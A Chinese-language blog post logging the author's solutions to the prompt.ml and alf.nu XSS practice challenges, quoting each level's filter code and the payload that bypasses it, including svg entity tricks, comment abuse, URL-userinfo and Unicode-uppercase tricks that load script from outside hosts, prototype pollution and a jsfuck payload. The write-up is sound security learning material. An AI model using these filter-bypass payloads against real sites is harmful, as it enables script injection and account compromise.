Kingkk's Blog.

xss练习记录

2018/08/19 Share

前言

由于各种原因吧,之前也没好好学过xss,就知道简单的闭合弹个窗什么的,趁暑假有时候,系统的学习一下xss。毕竟xss也是web安全的一个重头戏。而且看完一叶飘零师傅的文章,感觉xss比我之前想象的要强的多,也可以达到很强的破坏力。

就先和刷sqllibs一样吧,做一些题目练手。

prompt.ml

level 0

比较简单了,没做什么过滤和防护,闭合双引号就能逃逸出来了

level 1

做了一些过滤,不允许输入<xxx></xxx>形式的标签

1
2
3
4
5
function escape(input) {
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');
return '<article>' + input + '</article>';
}

然后我利用了下浏览器的容错性,增添了一个<img src=x onerror="alert(/xss/)"的未闭合标签,也有可能是后面的</article>中的>对其进行了闭合,总之达到了一个xss的效果

level 2

果然很菜了,到第三道题就卡住了。过滤了=(

1
2
3
4
function escape(input) {
input = input.replace(/[=(]/g, '');
return input;
}

一开始想利用src或者一些html编码发现貌似不行,于是无奈的看了下writeup。payload为

1
<svg><script>&#97;&#108;&#101;&#114;&#116;&#40;&#47;&#120;&#115;&#115;&#47;&#41;</script>

于是有点好奇,为什么自己的实体编码不行,而它的又可以,而且把<svg>标签替换成别的又无法执行

找了个篇很详细的文章http://pupiles.com/xss.html 我就不班门弄斧了。

由于<svg>属于一种外部标签,对内部实体支持xml解析,于是就将html编码给解码成原来的样子了。从而产生xss

level 3

好吧,还是无奈的看了writeup,算是一个小trick把,html5中可以利用--!>来闭合标签

payload

1
--!><script>alert(/xss/)</script>

level 4

好吧还是不会

1
2
3
4
5
6
7
8
9
function escape(input) {
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}

题目中利用正则匹配,规定字符串起始只能为http://prompt.ml/

这里的一个小trick就是,url的另外一种形式http://username:password@host/

利用这个方式就可以将前面的prompt.ml转换成用户名的格式,/利用%2f解码绕过从而加载自己网站上的js

payload:

1
http://prompt.ml%2f@blog.kingkk.com/kingkktest/1.js

有个问题,就是edge和chrome似乎已经不支持这种http://username:password@host/格式的url

请求会被阻塞掉

目前就只有在火狐浏览器上能成功,算是一个小trick吧

level 5

1
2
3
4
function escape(input) {
input = input.replace(/>|on.+?=|focus/gi, '_');
return '<input value="' + input + '" type="text">';
}

过滤了onxxx以及focus之类的事件,也将>过滤,导致无法闭合标签

这里有两个小点

  • 浏览器默认解析第一个type属性
  • 浏览的兼容性导致允许一些换行符的存在

这样,我们就可以将这个input标签的属性变成image,然后利用

1
2
error
="prompt(1)

进行绕过,js中正则的g模式匹配空白符,但是不匹配换行符

于是payload为

1
2
" type="image"  src=1 onerror 
="prompt(1)

==、原来prompt(1)函数是用来通关用的,前面一直用的alert(/xss/)

level 6

emmm这题琢磨了蛮久的,一开始是由于代码的原因

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);

var form = document.createElement('form');
form.action = formURL;
form.method = 'post';

for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}

return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}

输入demo的url之后会生成一段这样的html文本

1
2
3
4
5
6
7
8
<form action="http://httpbin.org/post" method="post"><input name="name" value="Matt"></form>       
<script>
// forbid javascript: or vbscript: and data: stuff
if (!/script:|data:/i.test(document.forms[0].action))
document.forms[0].submit();
else
document.write("Action forbidden.")
</script>

主要的问题实在生成的html中,相当于我们可以控制html的form的action、input的name以及value

首先假如在action中嵌入javascript:alert(/xss/)然后进行提交的时候,是会产生弹窗的

但是当我们这里将action的值设为javascript:alert(/xss/)时,会被forbidden掉

1
2
3
4
5
if (!/script:|data:/i.test(document.forms[0].action)) 
// alert(/xx/);
document.forms[0].submit();
else
document.write("Action forbidden.");

这里还有一个trick就是form.action是会优先匹配name=action的节点,匹配不到时,然后再去寻找action属性的值

删除这个name=action的节点时,就能匹配到form的action值了

这样,这题的答案也就差不多出来了

1
javascript:prompt(1)#{"action":"Matt"}

level 7

主要是利用js的注释,注释掉多余的html字符串,这个在括号里面的注释我是真的没想到。

但也比较容易想通,就直接上payload好了

1
"><script>/*#*/prompt(1/*);#"*/);/*#*/</script>

level 8

比较头疼的一题,搜了writeup,说是可以利用\u2028\u2029来替代换行符

  • 是U+2028,是Unicode中的行分隔符。
  • 是U+2029,是Unicode中的段落分隔符。

由于根本手打不出这两个字,所以我选择了在本地上测试一下。发现了一些奇怪的东西

代码是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<body>
</body>
<script>

function escape(input) {
input = input.replace(/[\r\n</"]/g, '');
return input;

}
var s = '\u2028alert(/xss/);\u2029-->';
var scr = document.createElement('script');
scr.innerText='// console.log("'+s+'");';
document.body.appendChild(scr);

</script>

这里确实可以利用\u2028或者\u2029当作换行符

但是当我为变量s加上escape函数的时候,就不能弹窗了,虽然显示的格式依旧一样

应该是\n\r替换了其中的一部分东西吧,

总之,两个trick,

  • \u2028 \u2029可以当作换行符使用
  • -->在js中可以当作注释符(单行注释)

这题就暂且到这

level 9

一个比较关键的点toUpperCase(),它会将字符串转成大写的,作为防御的手段之一

然而问题也就出在这里

The special part here is the transformation behavior. Not all Unicode characters have matching representations when casted to capitals - so browsers often tend to simply take a look-alike, best-fit mapping ASCII character instead. There’s a fairly large range of characters with this behavior and all browsers do it a bit differently.

并非所有的字符串都有大写,有时候浏览器会将他们转换成相似的形式,而且每个浏览器行为不同

例如chrome中会将ſ大写转化后变成S从而绕过正则,产生SCRIPT标签

于是就可以构造<ſcript src=//kingkk.com/2.js></ſcript>,在chorme中会被转换成

1
<SCRIPT SRC=//KINGKK.COM/2.JS></SCRIPT>

http和域名是大小写不敏感的,linux是大小写敏感的,我们只要在自己的服务器下放置2.JS文件即可

level 10

感觉比较简单了,进行了两次过滤,只要在prompt中插入一个单引号就可以了

1
pro'mpt(1)

level 11

过滤了很多字符串,导致暂时无法改变语句。

看了writeup之后是说用in运算符,则会执行前面的语句

可以看到虽然报了错,但是还是执行了alert语句,利用这个方法就可以构造payload

1
"(prompt(1))in"

level 12

本来一开始想用eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 47, 120, 115, 115, 47, 41))

后来发现url编码之后,不能使用了,于此同时,很多=,:之类的也不能用了

看了解法之后是用parseInt他能得到一个字符串的十进制表示,利用toString即可还原成字符

parseInt() 函数可解析一个字符串,并返回一个整数。

得到parseInt("prompt",36)转换后的数字是1558153217

于是最终的payload就是

1
eval(1558153217.toString(36)(1))

level 13

好吧,我也不知道是我看不懂还是不想看,总之看了一会逻辑不是很明白,就想着翻writeup了,就当学习一下trick了

第一个trick就是当实例中没有该属性的时候,js会去类的__proto__中寻找该值,并返回

1
2
3
4
5
6
7
8
9
10
11
> config = { "source":"http:www.kingkk.com","__proto__":{"source":"http://evil.com"} }
< {source: "http:www.kingkk.com"}

> config.source
< "http:www.kingkk.com"

> delete config.source
< true

> config.source
<"http://evil.com"

还有一个trick是正则匹配的trick,关于$`的

1
2
> 'abcdef'.replace('cd','$`123')
< "abab123ef"

当要替换的值中有$`的值时,会是上面这种匹配情况

最后的payload

1
{"source":{},"__proto__":{"source":"$`onerror=prompt(1)>"}}

终极复杂了,可以说没怎么看懂

level 14

好吧,其实一开始想到了尝试base64的形式,但是base64是大小写敏感,这里的toUpperCase()让我不知道怎么处理

看了writeup,构造出了一个base64全为大写的payload

1
"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=

由于无法将url指定到我的服务器,所以暂时也无法复现

level15

level7的升级版本,最主要的就是过滤了*,于是就不能用/**/的方式来过滤

这里主要是利用<svg>这种外部元素,会对其中的字符进行xml解析,也就导致了<!---->这种过滤符可以被使用

然后利用这个特性,就可以构造出payload了

1
"><svg><!--#--><script><!--#-->prompt(<!--#-->1)</script>

alf.nu

warmup

闭合即可

1
");alert(1);//

adobe

转移了",那就另起一个script标签

1
)</script><script>alert(1);//

json

一样的操作

1
)</script><script>alert(1);//

javascript

好吧,有点菜了,看不到实时生成的html代码就有点蒙蔽

由于之里会将url带入href的部分,会经过一次url解码,导致可以利用url编码的方式绕过

1
%22);alert(1);//

markdown

有两个对于markdown语法的正则替换

1
2
3
4
5
6
7
8
function escape(s) {
var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}

一开始是想到了将两个标签混合在一起,但还是差了点东西

最后看了writeup的payload

1
[[a|http://onerror=alert(1)//]]

这样之后,就会生成,从而产生xss

1
<img alt="<a href="http://onerror=alert(1)//" src="a.gif">">http://onerror=alert(1)//]]</a>

dom

输入TextNode或者一些Script标签时,后面的内容部分都会被转译成html实体,导致无法逃逸

这里的方法是输入一个Comment也就是注释标签,例如

1
Commnet#test

就会生成一个

1
<!--test-->

这样,我们只要闭合了前面的<!--,后面的部分就能自由发挥了

1
Comment#--><script>alert(1)</script>

callback

好吧,这题本来不应该没想到的,感觉潜意识里一直想用双引号来闭合,倒是忘了单引号

最后payload

1
'#';alert(1);//

skandia

把所有输入转换成了大写的

一开始是想从外部服务器引入js文件的,后来发现好像不支持连外网

于是看了writeup之后发现是利用data协议,进行html编码绕过大写

payload

1
");</script><script  src=data:text/html,%61%6c%65%72%74(1) ></script><script>//

tempalte

有点复杂,先空着

json 2

感觉做这个之前还是有一个逻辑没理清,就是解码顺序

1
2
3
graph LR
A(html解码)-->B(javascript解码)
B-->C(url解码)

因此</script>标签在script标签中有最终的闭合权,无论是在引号还是在别的地方,因为第一次html解码时,是不会解析其中的js代码,只会去识别标签。

从而这里就可以利用双写的方式,来构造</script>标签,从而闭合标签,造成xss

payload

1
</s</scriptcript><script>alert(1);//

callback 2

虽然是自己写出来的,但是有点蒙的成分,有个小trick

<!--在js中也可以当作单行注释来用,然而之前的-->只能在行头使用

payload

1
'alert#123';alert(1); <!--

skandia 2

无法使用<>来闭合标签

一开始想利用toUpperCase的特性,找两个转为大写后变成<>的unicode字符

最后,想起里啊一个神奇的东西,jsfuck!

于是用jsfuck就可以轻松过关

1
");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()//

Reference Link

http://heartsky.info/2016/07/11/prompt-1-writeup/

http://pupiles.com/xss.html

https://lorexxar.cn/2015/07/02/xss-p/

https://blog.csdn.net/he_and/article/details/79672900

http://heartsky.info/2016/07/13/alert-1-writeup/

CATALOG
  1. 1. 前言
  2. 2. prompt.ml
    1. 2.1. level 0
    2. 2.2. level 1
    3. 2.3. level 2
    4. 2.4. level 3
    5. 2.5. level 4
    6. 2.6. level 5
    7. 2.7. level 6
    8. 2.8. level 7
    9. 2.9. level 8
    10. 2.10. level 9
    11. 2.11. level 10
    12. 2.12. level 11
    13. 2.13. level 12
    14. 2.14. level 13
    15. 2.15. level 14
    16. 2.16. level15
  3. 3. alf.nu
    1. 3.1. warmup
    2. 3.2. adobe
    3. 3.3. json
    4. 3.4. javascript
    5. 3.5. markdown
    6. 3.6. dom
    7. 3.7. callback
    8. 3.8. skandia
    9. 3.9. tempalte
    10. 3.10. json 2
    11. 3.11. callback 2
    12. 3.12. skandia 2
  4. 4. Reference Link